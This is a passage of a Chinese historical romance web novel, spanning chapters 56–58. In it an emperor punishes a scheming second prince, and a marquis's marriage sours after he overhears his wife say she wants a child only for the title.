裴行舟抬手抚摸着她的背,哑声问:“要不要用晚饭?” 邵婉淑以为早就过了子时,闭着眼,道:“这都什么时辰了,还吃晚饭?” 裴行舟:“约摸亥时左右。” 邵婉淑怔了一下,竟然这么早。她见裴行舟在床上,还以为很晚了,裴行舟岂不是下午就过来了。 “侯爷何时回来的?” 裴行舟:“跟夫人一起回来的。” 邵婉淑:“你也睡了一觉?” 裴行舟:“对。” 邵婉淑微微蹙眉。 裴行舟:“我不能睡吗?” 邵婉淑想,他当然能睡,但问题是大白天的他们两人不能一起睡,不然会被人误会的。 “能。” 裴行舟:“吃饭吧。” 邵婉淑没再纠结这个问题。此刻她也感觉肚子饿了,可她实在是太累了,不想动。 “再休息一会儿。” 裴行舟:“好。” 邵婉淑突然想起一事,问道:“我怎么回来的?” 裴行舟:“我把夫人抱回来的。” 邵婉淑:“可有被人看到?” 裴行舟:“全府都看到了。” 邵婉淑:“你怎么没叫醒我?” 裴行舟:“夫人很怕被人瞧见吗?” 邵婉淑:“也不是。” 她就觉得很不好意思。 裴行舟:“你我是正经夫妻,不是什么见不得光的关系,即便被人瞧见了也不会有人说什么的。” 邵婉淑:…… 她怎么听着他这话是在说邹三郎呢? 第56章 第 56 章 二皇子被罚。 另一边, 邵侍郎知晓事情的严重性,不过三日就查清楚了贤贵妃交代的事情。不仅查清楚了,还得知了齐嬷嬷的儿子最近竟打着贤贵妃的名义欺男霸女, 差点没把他气死。 因为贤贵妃的嘱咐, 他强忍住没去收拾他。心里还十分诧异,妹妹为何不让他去收拾他。 贤贵妃看着兄长的信件,也气得不轻。听侄女说是一回事,自己查出来又是另一种感受。这两日她还对齐嬷嬷抱有一丝期待,结果她还是令自己失望了。 两人在一起几十年, 结果她还是选择背叛自己。她对她那么好, 她竟一点也不知感恩图报,当真是个狼心狗肺的东西。 小翔子那边遇到了一些阻碍,他只查出来这件事和大皇子有关,但查不出来究竟是何事,只隐约查到此事是皇上处理的。 贤贵妃:“不必查了。” 齐嬷嬷儿子的事情已经得到了证实, 齐嬷嬷的确背叛了她, 二皇子帮助他们也是不安好心。知道这些就够了。 晚上,皇上来了昭阳宫中。 贤贵妃已经决定要按照邵婉淑说的法子去做,她要把这些事告诉皇上。她还没开始说, 就被皇上发现了端倪。 隆帝:“爱妃这是怎么了,脸色怎么这么难看?” 隆帝一开口,贤贵妃就觉得自己委屈极了,眼眶都红了起来, 跪在了地上。 隆帝脸色一变。 “究竟发生了何事?” 贤贵妃:“臣妾身边的齐嬷嬷,她儿子打着臣妾的名义在外面为非作歹, 臣妾没脸见皇上了。” 隆帝:“爱妃起来说。” 贤贵妃一动不动。 隆帝上前拉了一把贤贵妃, 贤贵妃这才顺势站了起来。 贤贵妃在隆帝身边落座, 说起了齐嬷嬷儿子的事情。她深知有些事无须说太多,说多错多,便只说了齐嬷嬷儿子的事情,一个字都没提二皇子。单单是提齐嬷嬷的事儿,贤贵妃就快要委屈死了。 隆帝听完,问了一个问题:“他如今在礼部任职?” 贤贵妃连忙把自家撇清了:“是啊,我一开始以为他走的兄长的路子,我去问过兄长,结果兄长并不知情,也不知他哪来的本事,竟然能去礼部。” 隆帝微微颔首。 贤贵妃和隆帝相处多年,知晓他的性子,这件事皇上一定会彻查的,她便没再多说。 隆帝:“听说前几日定南侯夫人来了。” 贤贵妃:“是啊,这不是几个月没见了么,这丫头想我了,来宫里看看我。” 隆帝:“朕听闻最近御书房的先生讲到了兵法,阿祐若是有不懂的可以去侯府找定南侯多问问。” 贤贵妃愣了一下,若是从前她定会觉得皇上想为三皇子提供助力。但如今他看出了定南侯的态度,知晓他不可能为他们所用。她突然想到了那日侄女说过的话,难不成皇上之所以同意这门婚事真的是想让大皇子和三皇子和睦相处? 隆帝:“爱妃不愿意?” 贤贵妃回过神来,顺便试探了一下皇上的态度:“不是,臣妾突然想起那日婉淑也说过这样的话,当时臣妾还反驳她来着,说您不喜皇子们和大臣走得太近,阿祐不方便去的。” 隆帝笑着说:“这没什么不方便的,定南侯夫人是阿祐的表姐,定南侯算是他的表姐夫,都是一家人。阿祐要是不好意思去,那就等老大回来了,让老大带着他一同去。” 听到前面那句话贤贵妃还挺欢喜的,再听到后面这句,心立即沉了下去。她越觉得侄女的猜测是对的,皇上赐婚并非是为了给阿祐拉拢人,而是想让阿祐和大皇子兄友弟恭。 隆帝:“爱妃不要多心,让阿祐去便是,若是他对打仗感兴趣,将来还能成为一个大将军。” 贤贵妃抿了抿唇,她实在是笑不出来了。当个大将军有什么好的,她想让儿子当太子,当皇帝。 隆帝捏了捏贤贵妃的脸。 贤贵妃抬手打了一下隆帝的手:“皇上这是在做什么,臣妾都多大岁数了。” 隆帝抬手将贤贵妃揽入了怀中,缓缓说道:“年纪再大,朕也记得当初在御花园时初见你的情形。那时你穿着一件粉色的衣裳,在花丛中翩翩起舞,笑容灿烂,像一只自由自在的蝴蝶。朕希望你能永远无忧无虑,开开心心的。” 贤贵妃也想起了年轻时候的事情,这一刻她忘记了心里的执念,放松下来。 第二日下午,关于齐嬷嬷以及她儿子的所有事都放在了隆帝的案头。 隆帝打开看了看,脸色沉了下来,这些事竟然都是他那个好儿子干的。推齐嬷嬷入水,再去救她。诱骗齐嬷嬷儿子去赌,再在关键时刻救他。还将这样一个无德无才的男子安排到了礼部。幸好事情发现的早,若是再晚一些,这人怕是就要做出来更多恶事了,届时贵妃和阿祐都会被牵扯其中。 冯公公:“暗卫调查时发现定南侯和邵侍郎先后查过此事。” 隆帝眯了眯眼。 “何时查的?” 冯公公:“定南侯约摸是在七八日前,邵侍郎是在三日前开始查的。” 隆帝很快就把整件事串联起来。定南侯查清楚此事后告知了定南侯夫人,定南侯夫人入宫告诉了贤贵妃,贤贵妃又命邵侍郎去查。最后,贤贵妃将此事告诉了他。 隆帝的心情突然好了些。 阿灵终于知道依靠他了,而不是靠她那个蠢笨又迂腐的兄长。 过了片刻,隆帝吩咐:“齐嬷嬷的这个儿子,杖毙。齐嬷嬷年岁已高,准其出宫,赐白绫,莫要脏了贵妃的昭阳宫。老二身边的这个宫女,杖毙,让老二府中的下人都去观刑。传老二入宫。” 冯公公:“是。” 二皇子接到宫里的旨意,立即就跟随内监入了宫中。在门外等了一个时辰后,隆帝准其入殿。 没等二皇子试探,隆帝就直接道:“当初朕将户部交由你接管时曾告诉过你,皇位将来是你大哥的,你不可因为管了户部就肖想,你可还记得?” 闻言,二皇子心里一惊,忙跪在了地上:“儿臣铭记于心,从未肖想过皇位。” 隆帝:“你如今倒是学聪明了,躲在背后,让贵妃和阿祐为你冲锋陷阵。” 二皇子后背一凉,他掐了掐掌心,强迫自己镇定下来。 “儿臣从未做过这样的事。” 隆帝将刚刚冯公公递来的折子扔到了二皇子面前。 二皇子看后,脸色煞白,手也忍不住哆嗦起来。 隆帝:“朕怜你幼时失母,怕朝臣怠慢你,在你成亲后给了你一些权力,没想到却滋养了你的野心。” 二皇子:“父皇明鉴,儿臣……儿臣……没有做这些事。” 见儿子依旧执迷不悟,隆帝失望至极。 “这几年你在户部也不安分,你毕竟是朕的儿子,很多事情朕睁一只眼闭一只眼,但你千不该万不该利用你弟弟。” 二皇子死死掐住了自己的掌心。 隆帝:“年底了,许多宫殿都要修缮,工部忙不过来,你去工部吧,户部的事情你就不要再管了。” 户部和工部虽然同属于六部,可户部是管钱的,有实权,两者天壤之别。二皇子震惊地看向隆帝,手中的折子“啪”的一声落在了地上。 “儿臣知错了,求父皇原谅。” 隆帝:“你虽又蠢又坏,但毕竟是朕的儿子。朕再给你这一次机会,若你在工部还要兴风作浪,就别怪朕不念及父子亲情了。” 二皇子:“儿臣领旨谢恩。” 隆帝拿起朱笔继续批折子,嘴里说道:“齐嬷嬷的儿子既是你安排过去的,就由你去监刑吧,送他最后一程。” 二皇子:“是。” 从殿中出来后,二皇子松开了紧握的拳头,掌心渗出了红色的血渍。 同样是父皇的儿子,凭什么皇位一定是老大的,凭什么父皇要偏袒老三,他处处比他们二人强,却什么都比不过他们。难道就是因为他母亲身份低微吗?他不甘心! 二皇子被罚一事像是长了翅膀一样从宫里飞了出来,裴行舟很快就得到了这个消息。他略一思索就明白了过来了,这件事牵涉到了皇子,按理说应该是机密,可却这么快就传出来,这就说明是皇上的意思。皇上不喜二皇子利用三皇子和大皇子斗,他想看到儿子们和睦相处。皇上看似只罚了二皇子,也是在警告京中的官员。 裴行舟将这个消息告诉了邵婉淑。 得知二皇子被罚,邵婉淑很开心,没想到这么快就见了成效,看来皇上跟她想的不太一样。 裴行舟仔细盯着邵婉淑看,她虽然脸上没有笑容,但眼底却有一丝光,这说明她对这个消息很开心。 裴行舟:“此事多亏了夫人。” 邵婉淑:“我也是为了我自己。” 裴行舟:“明日夫人可有应酬?” 邵婉淑:“没有。” 裴行舟:“明日一早王绣娘上门给夫人做衣裳。” 邵婉淑:“为何要来做衣裳,我前几日刚做了几件新衣,够我过年穿了。” 裴行舟端起桌上的茶用了起来,淡淡道:“我答应夫人的,要赔你十件衣裳。” 邵婉淑这才明白裴行舟的意思,前日他把她衣裳撕烂了,当时说过要赔她十件衣裳,她以为是句戏话,没想到他竟然当真了。 这件事就这样说出来也挺让人难为情的,裴行舟竟然这么自然就说出来了。 邵婉淑抿了抿唇,道:“不用了,我衣裳够穿的。” 裴行舟:“多做几件吧,万一以后再坏了。” 邵婉淑震惊地看向裴行舟,实在是没想到这种话竟然出自裴行舟之口。 裴行舟却像没事儿人一样,静静地看着她。她发现了,这几日裴行舟总是有一种奇怪的眼神看她,好似故意说一些话,然后再观察她的反应。 邵婉淑心思一动,也故意说道:“只要侯爷不撕,衣裳是不会坏的。” 裴行舟眸光一闪,道:“好,以后我尽量注意,不会再撕夫人的衣裳了。” 在这种事上,邵婉淑还是没有裴行舟的脸皮厚,一时想不出更好的回答。 裴行舟没再继续这个话题,说道:“王绣娘是从宫里司织局出来的,衣裳做得极好。” 邵婉淑刚刚织听到裴行舟说要给她做衣裳了,没注意到他前面说了什么,此刻终于反应过来了。 “是当初那个为姑母做衣裳的王绣娘吗?” 裴行舟:“对。” 邵婉淑:“她不是被慧妃撵出宫了吗?” 这件事她知道,慧妃当年跟姑母争宠,用了许多阴毒的手段。底下的人看不惯慧妃,为了给姑母出气,将慧妃的衣裳弄烂了,害慧妃当众出了丑。 本来王绣娘是要被打死的,姑母为她求了情,皇上准其出宫了。 慧妃后来被贬为嫔,再后来被打入了冷宫。 王绣娘的手艺极好,她离开宫之后姑母还时常念起她的名字。可惜她当年的确是犯了错,所以姑母也不好再让她回宫了。 裴行舟:“嗯,她出宫之后去了一家绣坊。” 邵婉淑:“侯爷收留了她?” 裴行舟:“不是,是大皇子。” 邵婉淑微微挑眉,裴行舟竟然这般不顾及,直接在她面前展露出来他和大皇子之间关系亲密。 裴行舟:“夫人要做衣裳吗?” 幼时,贤贵妃身着一袭五彩琉璃裙在宫宴上跳舞,在邵婉淑幼小的心中留下了极为深刻的印象,她觉得姑母就像是天上的仙子一般。 邵婉淑不再纠结,立即答道:“要!” 不管王绣娘如今是谁的人,她做的衣裳是真的很好看。 看着邵婉淑开心的模样,裴行舟感觉自己心情也好了许多。 “好,明日让她来府中为夫人做衣裳。” 邵婉淑:“嗯。” 第57章 第 57 章 “不过是为了孩子罢了。” 随着二皇子在刑部监刑结束, 邵婉淑发现京城似乎安静了许多。 这日是腊月二十六,皇上封笔了,三皇子来了定南侯府。 饶是信管家经历了那么多事, 在看到三皇子时还是愣了一下。即便他们侯爷没有公开支持大皇子, 但朝中谁人不知他是大皇子的人。随着二皇子被申饬,大皇子和三皇子争夺厨卫愈演愈烈,三皇子却在这时来了他们侯府。 不仅旁人意外,裴行舟也没想到三皇子竟然会突然到访,他在外院书房接见了三皇子。 “臣见过殿下。” 三皇子:“我说过了, 侯爷不用这么见外。” 裴行舟站直了身子。 “不知殿下今日过来有何事?” 三皇子:“父皇让我来的。” 这一句话让裴行舟心里又是一惊。皇上让三皇子来他府中, 这是何意? 三皇子不知裴行舟心中想法,他叹了叹气,道:“哎,听说皇兄今年过年又回不来了?” 裴行舟:“是的,边关突然出现了动乱, 大皇子不得不留下了。” 三皇子满脸遗憾:“那日父皇还说等皇兄回来了, 让我跟着他一起来侯府。我还以为很快就能见到皇兄了,没想到又是空欢喜一场。” 裴行舟抬眼看向三皇子。 皇上让三皇子和大皇子一同来他府上?皇上明知他和大皇子走得近,可为何还要带上三皇子? “之前是打算回来的, 结果临行前边关生了战事。” 三皇子:“眼下皇兄来不了了,所以父皇让我一个人过来。最近先生讲到了兵法,父皇让我把不懂的问题拿给侯爷看。” 竟然是请教兵法问题,朝中那么多人可以问, 为何偏偏来问他?纵然心中有诸多疑惑,裴行舟还是道:“殿下请讲, 臣定知无不言言无不尽。” 三皇子:“我哪里懂什么兵法, 通篇都不感兴趣, 我不过是因为皇兄在边关打仗,这才多听了两耳朵。侯爷不用给我讲,讲了我也听不懂。你不如带我逛逛园子吧,我还没来过侯府呢。” 裴行舟:“好。” 三皇子:“对了,表姐可在府中?” 裴行舟:“在。” 三皇子:“许久没见过表姐了,不如叫上表姐一起。” 裴行舟:“好。” 马上就过年了,邵婉淑忙得不行,得知三皇子过来了,她怀疑自己听错了。 “你说哪位皇子来了?” 阿桔:“三皇子,贤贵妃的儿子,您的表弟。” 邵婉淑:“他怎么突然来了?” 阿桔:“奴婢不清楚,侯爷让人过来叫您去前院,三皇子说想让您陪着逛逛园子。” 侯府的事管事的们就能做好,三皇子那边怠慢不得。 若皇上真如她想的是个明君,想必他心中早就有了储君的人选。大皇子和二皇子一个有兵权,一个曾任职户部,都是委以重任,可三皇子到现在也没有在朝中任职,可见皇上虽然宠爱他,但未必想让他做储君。三皇子本人也对争储一事没什么兴趣,所以皇位未必是他的。 若皇上真的属意大皇子,他们倒不如和大皇子这边搞好关系,抱紧大皇子的大腿。 这一次她要好好拉近裴行舟和三皇子的关系。 “好,你让人跟侯爷说一声,我换一身衣裳马上就过去。” 不多时,邵婉淑到了前院。 裴行舟正和三皇子站在院子里看梅花,三皇子在不停说着什么,裴行舟在一旁点头。 看到邵婉淑来的那一刻,两个人都松了一口气。 三皇子觉得裴行舟过于严肃了,他都不敢看他的脸,生怕惹恼了他,他再迁怒表姐。裴行舟觉得三皇子的话实在是太多了,多到他不知该怎么回应他,若是不回应又显得不够恭敬。 三皇子:“表姐。” 裴行舟:“夫人。” “殿下,侯爷。”邵婉淑觉得这二人的表情怪怪的。 三皇子笑着道:“表姐这件衣裳真好看。” 邵婉淑:“是从前在宫里司织局任职的王绣娘做的。” 三皇子对王绣娘也有些印象:“她不是被赶出宫了么,当时母妃还挺难过的。” 邵婉淑:“对,如今她还在京城,前些日子侯爷找到她为我做了几身衣裳。” 三皇子看裴行舟一眼,道:“母妃若是知道了此事一定很开心。” 邵婉淑:“殿下也跟姑母说一声,她如今过得极好,让姑母放心。” 三皇子:“好。” 接下来三个人都不说话了,邵婉淑等着裴行舟或者三皇子说,结果他们二人都看向了她。 邵婉淑只好接过了话:“殿下刚刚去了何处?” 三皇子:“刚刚从书房里出来,一直在看这棵树。” 邵婉淑:…… 这都过去两刻钟左右了,他们就对着这一棵树看了这么久? “要不去别处逛逛?” 三皇子:“好啊。” 见裴行舟没什么反应,邵婉淑只好带路。三皇子对侯府十分好奇,每到一处就开始询问,裴行舟和邵婉淑就在一旁陪着。邵婉淑知道的就回答,不知道的就看向裴行舟。裴行舟这时会站出来回答。 几人逛完外院又去逛内宅了。 姜老夫人早就得到了消息,她也十分疑惑三皇子为何突然来了他们府中。 “三皇子来了之后就逛了宅子?” 李嬷嬷:“是的,先是在外院逛的,眼下来内宅了。” 姜老夫人:“他们脸上的神情如何?” 李嬷嬷:“三皇子瞧着挺开心的,夫人也挺开心的,侯爷脸上看不出来什么神情。” 姜老夫人琢磨了一下,道:“吩咐内宅的人莫要冲撞了殿下,离远些。” 李嬷嬷:“侯夫人都吩咐下去了。” 姜老夫人:“嗯,那就好。老大虽然和大皇子走得近,但三皇子毕竟是老大媳妇儿的表弟,亲戚之间互相走动,这本也没什么。” 李嬷嬷:“老夫人说的是。” 姜老夫人:“这也不算什么坏事,静观其变吧。” 定南侯府是武将之家,府中的景致十分普通。几人约摸逛了半个时辰左右,走走停停,把整个侯府都逛完了。三皇子看起来意犹未尽,似乎不想离开侯府。 他不提,他们也不能主动说让他走。 邵婉淑琢磨了一下,问:“殿下可是不想回宫?” 三皇子眼前一亮,点头:“嗯,不想回去,表姐可有好去处?” 他一直在宫里,很少能出宫,这次好不容易征得了父皇的同意,他可不想走。 邵婉淑:“如今临近年关,街上应该很热闹,不如咱们去外面逛逛。” 三皇子兴奋不已:“好啊,好啊。” 两人同时看向了裴行舟。 裴行舟刚想说还有公务,邵婉淑就主动道:“侯爷日日忙于公务,不如今日咱们一同出去逛逛?” 她想借此拉近裴行舟和三皇子之间的关系,自然不能让裴行舟缺席。 裴行舟:“好。” 若是邵婉淑和三皇子二人出行,要准备两辆马车。但若加上裴行舟,他们只需一辆马车就够了。 今日京城的确十分热闹,大街上人来人往,马车都有些行不动,他们索性下了马车步行。 三皇子很少出门,对什么都好奇不已,一会儿看看这边的小玩意儿,一会儿又去瞧瞧那边的吃食。 邵婉淑怕他出事,一直紧紧跟着。但三皇子毕竟是男子,步子大,邵婉淑有些追不上。她正欲小跑过去,旁边突然冲出来一个人,差点把她撞倒。 裴行舟眼疾手快,一把拉住了邵婉淑。 邵婉淑:“多谢侯爷。” 裴行舟:“慢些走。” 邵婉淑连忙回头去找三皇子,裴行舟指了指不远处,道:“三皇子身边跟着几个暗卫,夫人不必担心。” 邵婉淑从离开侯府到现在都没看到三皇子有暗卫,她好奇地问:“暗卫在哪呢?” 裴行舟:“藏起来了,若三皇子有危险他们就会出现。” 邵婉淑:“真的?” 裴行舟:“夫人仔细看看,没有人能近三皇子的身。” 邵婉淑盯着三皇子那边看了看,果然发现了异常。和他们这边不同,三皇子那边就像是被人群隔开了一样,他周围五尺范围内,一个人都没有。 “这些暗卫好厉害。” 裴行舟:“走吧。” 邵婉淑垂眸看向被裴行舟牵着的手,从刚刚起裴行舟就牵了她的手,到现在还没放开。她抽了抽手,裴行舟没有松开。 裴行舟:“人多,我怕夫人走散了。” 邵婉淑没再挣扎:“哦。” 三皇子可太开心了,他本想着在外面用完午饭再回宫,但内监提醒他该回去了,他不得不离开了。 裴行舟看着三皇子离去的身影若有所思。 从前他和三皇子接触不多,但自从夫人嫁给他之后,见三皇子的次数多了。三皇子也时常跟他说些话,言语间提及了大皇子。三皇子好像跟他想象中的不太一样。他和贤贵妃以及邵侍郎也不似同路人。 “婉淑!” 邵婉淑正欲和裴行舟一同回府,听到了身后的声音,她转身看了过去,看到了许久没见的好友。 “卿卿,怎么这么巧,你也在这里。” 辛卿卿:“府里都是亲戚,烦不胜烦,我便出来透透气。你怎么也出来了?” 邵婉淑:“刚刚陪着三皇子逛了逛,正准备回去。” 辛卿卿正欲开口,看到了邵婉淑和裴行舟握在一起的手,她眼神微变。 邵婉淑这才意识到她和裴行舟的手还握在一起,像是怕辛卿卿误会一样,连忙将手抽了回来。 裴行舟看了她一眼。 辛卿卿这才想起来行礼:“侯爷。” 裴行舟微微颔首。 辛卿卿看向邵婉淑:“你接下来可有事?” 邵婉淑:“没什么事。” 辛卿卿:“那你陪着我再逛逛呗,我不想回去。” 邵婉淑:“好。” 答应之后,她看向裴行舟:“侯爷,您先回去吧,我们再逛逛。” 裴行舟深深地看了邵婉淑一眼,道:“好。” 辛卿卿拉着邵婉淑离开了。正好到饭点了,两人也没再逛,找了个酒楼去吃饭了。 吃完饭,俩人去梨园听戏了。一边嗑瓜子,一边聊聊各府的八卦,好不快活。 裴行舟正在梨园三楼的包房内,他透过窗子随意往下看了一眼,结果却看到了一个熟悉的身影。 竟这么巧,两人中午刚分开,下午又碰到了。此时天都快黑了,她这半日竟没回府。 “侯爷?” 裴行舟回过神来,看向坐在对面之人。 “你传信给我可是有要事?” 虽然二人在包房里,外面守着的也是自己人,孙主事仍旧把声音压得很低:“侯爷不是让我盯着韩侍郎么,我发现他最近竟然在跟户部的人联系。” 裴行舟:“怎么发现的?” 以前户部密不透风,很难探听到什么有用的消息。 孙主事:“如今二皇子不管着户部了,户部的人不像从前一样了。有些人对二皇子不满,二皇子如今管不着他们了,他们便不再惧怕他了。” 裴行舟:“发现了什么?” 孙主事:“户部竟然想在运往边关的粮草上做文章,想让大皇子这次吃败仗。” 裴行舟眼神冷了下来:“知道了,你继续盯着。” 孙主事:“是。” 说完事后,孙主事离开了,裴行舟看了一眼二楼,见邵婉淑还在。瞧着她神色疲惫,想着她出来一日了,也该回去了,于是站起身朝着二楼走去。 聊完旁人的八卦,辛卿卿想到了刚刚的事情,凑到邵婉淑耳边,道:“有个问题我刚刚就想问了。” 该来的还是来了,邵婉淑猜到了辛卿卿想问什么,抿了抿唇,道:“什么问题?” 辛卿卿:“你跟定南侯是怎么回事?” 邵婉淑:“什么怎么回事,还跟从前一样。” 辛卿卿:“跟从前一样?我从前可没见侯爷陪你逛街。” 邵婉淑:“他不是陪我逛,是陪三皇子,三皇子今日去了府中,后来又来逛街。总不好我陪着三皇子逛吧,所以侯爷也来了。” 辛卿卿:“逛街还用牵手吗?” 邵婉淑:“侯爷怕我走丢了。” 辛卿卿盯着邵婉淑看了片刻,道:“你就装吧,别以为我看不出来。” 邵婉淑心虚地拿起来桌上的茶喝了一口。 辛卿卿:“你不会真的爱上定南侯了吧?” 邵婉淑神色一怔。 她没看到的是几步外站着的男子身形也是一顿,屏住了呼吸,等她的答案。 邵婉淑垂眸。她最近的确因为裴行舟乱了心神,他待她越来越好,越来越温柔。但想到前世的种种,心又冷了下来。虽说她怀疑莲娘并非是裴行舟的外室,可这件事毕竟梗在了她的心里。而他们二人毕竟只是联姻,皇上赐婚,不得已才在一起的。 裴行舟并不喜欢她。 邵婉淑放下茶杯,摸了摸扁平的小腹,淡然道:“不过是为了孩子罢了,等他身故,孩子就是侯爷。” 不远处,裴行舟的脸色阴沉的吓人。 所以,她不仅对他无意,还盼着他死? 【作者有话说】 祝大家新年快乐~ 第58章 第 58 章 大皇子回京。 裴行舟以为两人成婚这么久了, 邵婉淑对他不似从前那般冷漠,她应该也对他有一丝情意。不曾想,她的主动竟然只是为了一个爵位。她不仅想要生孩子, 竟然还盼着他死。 原来这一切都是他的一厢情愿。 裴行舟没再上前, 转身大步离去。 辛卿卿盯着邵婉淑看了许久,道:“你当真是这样想的?” 邵婉淑肯定地道:“自然。” 这话不知是说给辛卿卿说的,还是说给自己听的。 辛卿卿:“可我瞧着你对侯爷也不似从前那般排斥了。” 邵婉淑沉默片刻,道:“不排斥,不代表喜欢。” 辛卿卿也看不懂她了, 她跟丈夫的感情不错, 虽然偶尔有些小摩擦,但至少是相爱的。她也希望好友能收获幸福。但如果没那么幸福的话,至少能开开心心的。 “好吧,你开心就好。” 两人又听了一会儿戏,等天色暗了下来后, 辛卿卿送邵婉淑回了侯府。 邵婉淑在外逛了一日, 十分疲惫,回去用了晚饭,早早就睡下了。 一觉睡到第二日早上才醒过来。 醒来后, 见阿梨神色有些不对,问道:“府里发生了何事?” 阿梨:“昨晚侯爷没有回来。” 邵婉淑:“到年底了,事情繁忙,侯爷肯定有许多事要忙, 这也没什么奇怪的。” 阿桔:“可听寅虎说侯爷宿在了外院。” 邵婉淑觉得哪里有些不对,但面上还是维持冷静:“嗯, 可能是太晚了, 他从前也经常这样, 没什么好奇怪的。” 阿梨和阿桔对视了一眼,从前侯爷的确会宿在外院,但最近几个月却很少会有这样的事情了。见夫人不想多说此事,她们没再多说。 今日有客人来访,邵婉淑一直在见客,等彻底忙完,天色都暗了下来。 裴行舟今日也很忙,他给大皇子写了一封信。今日又让人将孙主事的事情查清楚了,如今户部暂由邹相统管,因此他让人把事情透露给了邹相。 得知邹相入宫去了,随后宫里的侍卫抓了韩忠直以及和他联系的户部官员,这才放松下来。 青云看了一眼裴行舟的脸色,问道:“侯爷,今晚您要回内宅吗?” 裴行舟脸色一变。他没有回答这个问题,而是问道:“夫人今日做了什么?” 青云:“今日镇国将军夫人、兵部尚书夫人来了,夫人见了她们。” 裴行舟顿了顿,问道:“夫人可曾问起我?” 青云觑了一眼裴行舟的脸色,道:“没有。” 裴行舟脸色沉了下来。 “今晚不回去了。” 青云:“是。” 昨日裴行舟不是故意不回去的,是真的一直在忙。孙主事说的事情太重要了,他得尽快查清楚。今日他是不想回去。 一连五日裴行舟都没有回来,今晚就是除夕了。一开始邵婉淑还没发现裴行舟不对劲儿,如今发现了。他明明休沐了,结果比从前还忙,见不着人。 不过,今晚他应该会回来的,毕竟前世二人关系再差的时候他也还是会给她这个正妻面子。而且今晚府中也会设宴,她会看到他的。 阿桔从外面带回来一个好消息。 “夫人,兵部的韩大人被抓了,从前跟二爷见过面的户部的王大人也被抓了。” 邵婉淑惊讶得看向阿桔:“你没听错?” 阿桔:“没有。听说前几日就被抓了。阿运说一开始大家也没发现,后来有官员去了他们家里一打听才知道被抓了,还是被宫里的人抓的。” 邵婉淑心里露出来一丝欣喜,若是皇上安排人抓的,那这件事可就大了。想必裴行舟这几日也是在忙这件事吧,怪不得没回来,她一下子就为裴行舟找到了一个合适的理由。今晚她要问问他是怎么回事。 晚上,定南侯府众人聚在了一起。 往年这个时候裴行凛和杜氏是最活跃的,叽叽喳喳说个不停,时不时明怼柳氏,内涵邵婉淑几句。今年他们二人格外低调,裴行凛似乎有心事,有些心不在焉。杜氏的话也不多。反倒是柳氏在一旁说个没完,她嘴上不在意裴璃中了举人,可言语间却张扬了些。 姜老夫人不爱听她说话,轻轻瞥了她一眼,柳氏顿时闭了嘴。 邵婉淑觉得今年年夜饭有心事的人可不止裴行凛一个,还有坐在她身侧的裴行舟。裴行舟今晚来的很晚,直到饭菜都摆上了,他才过来。来了之后简单跟众人打了招呼便没再说话。从头到尾他没跟邵婉淑说一句话。 邵婉淑终于意识到了一件事,裴行舟不仅在忙兵部的事情,他这几日的不同寻常似乎也和她有关。 此处不是说话的地方,她压住心底的疑惑,没有多问。 姜老夫人说起了一些祝福的话,前面说了什么邵婉淑没听清,直到最后一句她听清了。 “要是明年这个时候你们二人能为我添一个孙子,我就无憾了。” 邵婉淑快速看了裴行舟一眼,巧的是裴行舟也在这时抬眼看向了她。 这一眼极其复杂,让邵婉淑看不懂他究竟是何意。这是不想要孩子的意思吗? 姜老夫人看了看儿子和儿媳,笑了笑,没再多说。 坐在旁边的裴行凛心里百般不是滋味,他想开口问问裴行舟户部的事情,但又不敢问,怕裴行舟发现他跟二皇子私下有联系。 吃过饭,大家一同守岁。整个侯府中,没有几个是邵婉淑能聊得来的人,今日裴行舟又十分奇怪,一句话都没跟她说。这两个时辰邵婉淑觉得不舒服极了。等到子时,大家终于散了。 不仅裴行凛对韩忠直的事情好奇,邵婉淑也很好奇,回到韶华院后,没等她问出口,裴行舟直接去了内室中。 邵婉淑跟了过去。 裴行舟去了里间,很快水声传来,他在洗漱。 瞧这样子裴行舟应该是困了,邵婉淑忍住没问,等裴行舟出来后,她也去里间洗漱了一番。等她出来时,裴行舟已经在床上躺着了。 邵婉淑越过他,爬到了里侧。 刚躺下,裴行舟就覆了过来,铺天盖地的吻落在了身上。 邵婉淑越发看不懂裴行舟了,她推了推他,问:“侯爷这是在干什么?” 裴行舟死死盯着邵婉淑的眼睛,沉声道:“夫人不是想生孩子吗?生吧。” 邵婉淑:…… “我何时说过这样的话,方才在席间是母亲说的,我不过是应了几句。” 裴行舟:“夫人确定自己没说过?” 邵婉淑心头一动,顿时有些心虚。 “我……我何时说过?” 裴行舟不会听到她和卿卿的谈话了吧?可是不对啊,那日她们在梨园说的,他又不喜欢听戏,跑去那里做什么? 裴行舟懒得跟她废话,直接用行动表达了自己的心意。 邵婉淑发现裴行舟今晚跟疯了一样,无论她怎么求他都没有用。 看着在怀中沉沉睡去的人,裴行舟觉得前几日就是在给自己找罪受,他跟她废什么话,生什么气。她是他的夫人,她既然想生孩子,生便是。 第二日便是初一,邵婉淑作为当家主母起晚了。卯时,阿梨过来敲了敲门。邵婉淑见裴行舟在看她,想到他昨晚所为,她索性不管了,假装没听到又睡了过去,让裴行舟自己去应付。这一觉一直睡到快午时才醒,裴行舟早就不知去了哪里。 虽然邵婉淑起晚了,但中午吃饭时却没人敢说什么,姜老夫人是盼着早一日报上孙子的,她自然不会多说。杜氏和柳氏兴许是怕大初一的触霉头,两人也没说什么。 裴行舟时不时给邵婉淑夹菜,邵婉淑不理他。 除了中午吃饭时,邵婉淑就没见到裴行舟。 晚上,亥时左右,裴行舟回来了。往常裴行舟回来后会坐在榻上喝茶,二人说说话,再去休息。邵婉淑等的就是这个时候,她好问问想问的事情。结果今日他跟昨日一样,回来后直接去了内室,一句话不说,拉着她去睡觉。 如此过了三日,邵婉淑实在是受不了了,拒绝了裴行舟。 裴行舟:“夫人确定不想生孩子吗?你若不想生我便走了。” 邵婉淑:“……” 裴行舟竟然还开始威胁她了! 说的好像就她一个人想生孩子,他不想似的。他若不想,每日回来这么早干什么?明明自己也想的。 见邵婉淑不舍得开口让他离开,裴行舟更气了,她果然就是为了生个孩子才忍着他,对他一丝情意也无。他俯下身子,重重咬了一下邵婉淑的唇。 邵婉淑气得捶了他几下。 她实在是想不通裴行舟最近到底在抽什么风,像是变了个性子似的,跟从前宛若两人。 她问他他也不告诉她,跟他说话他也不回答,一心只想生孩子。这虽然跟她的初衷一致,但也不能太过了吧。 若说裴行舟生她的气了,他以前生气都不回来,见都不见她,更不会跟她同床共枕。但要说没生气,除了在床上,他又不理她。 这样的状况一直持续到正月十五。 邵婉淑实在是吃不消了,她决定了,要是裴行舟今晚还这个样子,等明日裴家族里的人离开了,她要把他撵出去!总不能为了生孩子要日日忍受裴行舟。 